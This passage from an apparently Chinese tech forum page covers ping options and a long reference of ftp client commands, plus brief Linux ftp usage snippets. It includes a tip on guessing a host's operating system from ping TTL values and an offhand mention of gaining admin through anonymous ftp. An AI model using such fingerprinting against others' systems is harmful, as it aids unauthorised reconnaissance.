间网关分隔(路由稀疏源)IP 允许的最大数量为 9。 -k host-list Strict source route along host-list. 利用 computer-list 指定的计算机列表路由数据包。连续计算机不能被
中
间网关分隔(路由严格源)IP 允许的最大数量为 9。 -w timeout Timeout in milliseconds to wait for each reply. 指定超时间隔,单位为毫秒。 此参数没有什么其他技巧。 ping
命令
的其他技巧:在一般情况下还可以通过ping对方让对方返回给你的TTL值大小,粗略的判断目标主机的系统类型是Windows系列还是UNIX/Linux系列,一般情况下Windows系列的系统返回的TTL值在100-130之间,而UNIX/Linux系列的系统返回的TTL值在240-255之间,当然TTL的值在对方的主机里是可以修改的,Windows系列的系统可以通过修改注册表以下键值实现: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters] "DefaultTTL"=dword:000000ff 255---FF 128---80 64----40 32----20 好了,ping
命令
也基本上完全讲解完了,其
中
还有-j,-k参数我还没有详细说明,由于某些原因也包括我自己所收集的资料过少这里也没有向大家详细介绍,请大家见谅,如果在看了这篇文章的朋友当
中
有知道得比我更多的,以及其他使用技巧的也希望您能告诉我,并在此先谢过。
FTP
命令
大全
FTP
:
文件
传输协议。先说说他的功能吧,主要就是从运行
FTP
服务器的计算机传输
文件
。可以交互使用。这里要注意,只有安装了tcp/ip协议的
机器
才能使用
ftp
命令
。
命令
格式:
ftp
[-v][-d][-i][-n][-g][-s:filename][-a][-w:windowsize][computer] 说说他们的含义吧。 -v 不显示远程服务器响应 -n 禁止第一次连接的时候自动登陆 -i 在多个
文件
传输期间关闭交互提示 -d 允许调试、显示客户机和服务器之间传递的全部
ftp
命令
-g 不允许使用
文件
名通配符,
文件
名通配符的意思是说允许在本地
文件
以及路径名
中
使用通配字符 -s:filename 指定包含
ftp
命令
的文本
文件
。在
ftp
命令
启动后将自动运行这些
命令
。在加的参数里不能有空格。 -a 绑定数据连接时,使用任何的本地端口 -w:windowsize 忽略默认的4096传输缓冲区 computer 指定要连接的远程计算机的ip地址 呵呵,理解了上面的,就说说一些具体的
命令
,我个人觉得虽然现在工具用起来很方便了,但懂这些
命令
在很多地方还是很有用的,就像现在nt下的
命令
提示符 1) ? 说明:显示
ftp
命令
的说明。后面可以加参数,是加需要解释的
命令
名,不加则显示包含所有
命令
列表。 2) append 说明:使用当前
文件
类型设置,将本地
文件
附加到远程计算机
中
。大概格式是 append local-file [remote-file] 其
中
local-file是说指定要添加的本地
文件
。 remote-file是说指定要将local-file附加到远程计算机
文件
,要是省了这个,则是使用本地
文件
名做远程
文件
名。 3)ascii 说明:默认情况下,将
文件
传输类型设置为ASCII 4)bell 说明:响玲开关,意思是
文件
传输完成后是否有玲声提醒。默认是关闭的。 5)binary 说明:将
文件
传输类型设置为二进制。 6)bye 说明:结束和远程计算机的
ftp
会
话,也就是安全断开,退出
ftp
. 7)cd 说明:更改远程计算机上的工作
目录
。如cd data 其
中
data是要进入的远程计算机的
目录
。 8)close 说明:结束与远程服务器的
ftp
会
话,并返回
命令
解释程序。 9)dir 说明:显示远程的
文件
以及子
目录
列表。如dir data local-file 其
中
data是指定要查看列表的
目录
,没指定的话就是当前
目录
。local-file是指定要保存列表的本地
文件
,不指定的话就在屏幕输出。 10)debug 说明:调试开关,打开的时候打印每个发送到远程计算机的
命令
,
命令
前有——> 默认情况是关闭的。 11)disconnnect 说明:与远程计算机断开连接,但还保持着
ftp
命令
提示符。 12)get 说明:使用当前
文件
传输类型,把远程的
文件
拷贝到本地计算机上。 如get remote-file local-file remote-file是指定要复制的
文件
,local-file是指定本地计算机上的
文件
名, 没有指定的话则个remote-file同名。 13)glob 说明:
文件
名通配开关 14)hash 说明:转换每个传输数据快的散列标记打印(#).数据快的大小是2048字节。默认情况下是关闭的, 15)help 说明:显示
ftp
命令
的解释,如help commmand 其
中
command就是你要解释的
命令
,如果不加command这个参数的话就
会
显示所有
命令
的列表 16)! 说明:这个
命令
差点忘记了:)功能是在本地计算机上运行指定
命令
。如! command 其
中
command就是你要运行的
命令
,如果不加command这个参数的话,则显示本地
命令
提示, 这时你输入exit
命令
就能返回到
ftp
了。 17)lcd 说明:更改本地计算机的本地
目录
,在默认的时候是启动
ftp
的
目录
.这个不要觉得没用啊,在你使用
ftp
的时候为了传递
文件
不是常改变本地和远程计算机的
目录
吗?:) 如lcd [directory] 其
中
[directory]是指定要进入的本地计算机的
目录
,如果你不加这个参数,就
会
显示出本地计算机的工作
目录
. 18)literal 说明:向远程
ftp
服务器发送协商参数,报告. 如lireral argument [...] 其
中
argument是指定要发送给远程服务器的协商参数。 19)ls 说明:显示远程
目录
的
文件
和字
目录
. 如ls remote-directory local-file 其
中
remote-directory是指要查看的列表的
目录
,不指定的话显示的是当前工作
目录
。local-file是指定要保存列表的本地
文件
.不指定的话是在屏幕上输出. 20)mdelete 说明:删除远程计算机上的
文件
.如mdelete remote-file ... remote-file肯定是要删的
文件
啊,可以删除多个. 21)mdir 说明:显示远程
目录
的
文件
和子
目录
列表,他允许指定多个
文件
. 如mdir remote-file ... local-file 参数我想大家应该明白什么意思吧?不明白就看看前面的类似
命令
吧. 22)mget 说明:使用当前
文件
传输类型将多个远程
文件
复制到本地计算机. 如mget remote-files ... 其实remote-files可以指定多个,他就是指定要复制到本地计算机的远程
文件
. 23)mkdir 说明:创建远程
目录
. 如mkdir directory 这个
命令
和nt下的
命令
提示符
中
的md directory一样,不多说了. 24)mls 说明:显示远程
目录
的
文件
和
目录
简表 如mls remote-file ... local-file 其
中
remote-file这个参数是必须要加的,’’-’’是使用远程计算机的当前工作
目录
. 25)mput 说明:使用当前
文件
传输类型,将本地
文件
复制到远程计算机. 如mput local-files ... 26)open 说明:连接到指定
ftp
服务器上, 如open computer port 其
中
computer一般是远程计算机的ip地址,port不用说就是指定端口了。 27)prompt 说明:转换提示,在多个
文件
传输的时候,
ftp
提示可以有选择的检索或保存
文件
,如果关闭提示,则mget和mput
命令
传输所有
文件
,在默认情况下是打开的. 28)put 说明:使用当前
文件
传输类型将本地
文件
复制到远程计算机
中
, 如put local-file remote-file 其
中
local-file是指定要复制的本地
文件
, remote-file是指定要复制的远程计算机上的
文件
名,不指定的话是和本地计算机上的
文件
名同名. 29)pwd 说明:显示远程呢感计算机上的当前
目录
. 30)quit 说明:结束与远程计算机的
ftp
会
话,并退出
ftp
. 31)quote 说明:向远程
ftp
服务器发送协议,报告.期待
ftp
单码应答,这个
命令
的功能和literal相同. 32)recv 说明:使用当前
文件
传输类型将远程
文件
复制到本地计算机,他与get
命令
作用相同。 33)remotehelp 说明:显示远程
命令
的帮助.这个
命令
的用法和help,!一样可以参考他的用法. 34)rename 说明:更改远程计算机上的
文件
名。 这个
命令
和nt的
命令
提示符的ren一样,如rename filename newfilename 35)rmdir 说明:删除远程
目录
. 这个
命令
和nt的
命令
提示符的rm一样,如rmdir directory 36)send 说明:使用当前
文件
传输类型将本地
文件
复制到远程计算机.send和put
命令
的功能一样。 如send local-file remote-file 37)status 说明:显示
ftp
连接和转换的当前状态 38)trace 说明:转换报文跟踪,运行
ftp
的
命令
时,trace将显示没个报文的理由。 39)type 说明:设置或显示
文件
传输类型. 如type [type-name] 其
中
type-name 的意思是
文件
传输的类型,默认是ASCII,没加这个参数就是显示当前的传输类型. 40)user 说明:指定连接到远程计算机的用户. 如user user-name [passwd] [account] 其
中
user-name不用说都是用来登陆计算机的用户名了, passwd是指定user-name的密码,不指定的话
ftp
会
提示输入密码。 account是指定用来登陆计算机的帐号,如不指定,
ftp
会
提示输入帐号. 41)verbose 说明:转换冗余模式。这里如果打开,
会
显示所有
ftp
响应,
文件
传输结束的时候
会
显示传输的效率和统计信息,默认的情况是打开的. 呵呵,
命令
就介绍这些了,可以自己熟悉一下,其实现在
ftp
的软件很多,很方便,但你说这些
命令
没用也是不可能的,就像windows下一样还保留着
命令
提示符.:)_ 特别有些时候
ftp
软件很多地方做不到的,.? 什么地方。 打个比方,我看过一种觅名
ftp
用户得到admin的入侵列子,就的用到他.呵呵,这里不多说了,就写到这里了。 88291622
linux
ftp
命令
下载
目录
,linux
命令
行下的
ftp
多
文件
下载和
目录
下载
安装:yum install
ftp
使用:
ftp
+ ip (未进入
ftp
状态下运行)-----------------------------------------目标
ftp
服务器是一个非标准端口的
ftp
1.通过shell登录#
ftp
//shell下输入
ftp
命令
,进入到
ftp
提示符>open IP PORT //IP ,PORT对应为服务器的IP和端口号或者直接使用一条语...
linux
ftp
上传
命令
实例,
ftp
上传
文件
命令
,Linux
中
使用
ftp
命令
上传
文件
Linux
中
如何使用
ftp
命令
,包括如何连接
ftp
服务器,上传or下载
文件
以及创建
文件
夹。虽然现在有很多
ftp
桌面应用(例如:iis7服务器管理工具),但是在服务器、SSH、远程
会
话
中
掌握
命令
行
ftp
的使用还是很有必要的。IIS7服务器管理工具可以批量管理、定时上传下载、同步操作、数据备份、到期提醒、自动更新。IIS7服务器管理工具适用于Windows操作系统和liunx操作系统;支持
Ftp
客户端...
FTP
命令
上传下载
文件
格式:
ftp
[hostname| ip-address]1)在linux
命令
行下输入:2)服务器询问你用户名和密码,分别输入用户名和相应密码,待认证通过即可。
系统维护与使用区
19,613
社区成员
74,602
社区内容
发帖
与我相关
我的任务
系统维护与使用区
系统使用、管理、维护问题。可以是Ubuntu, Fedora, Unix等等
复制链接
扫一扫
分享
社区描述
系统使用、管理、维护问题。可以是Ubuntu, Fedora, Unix等等
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章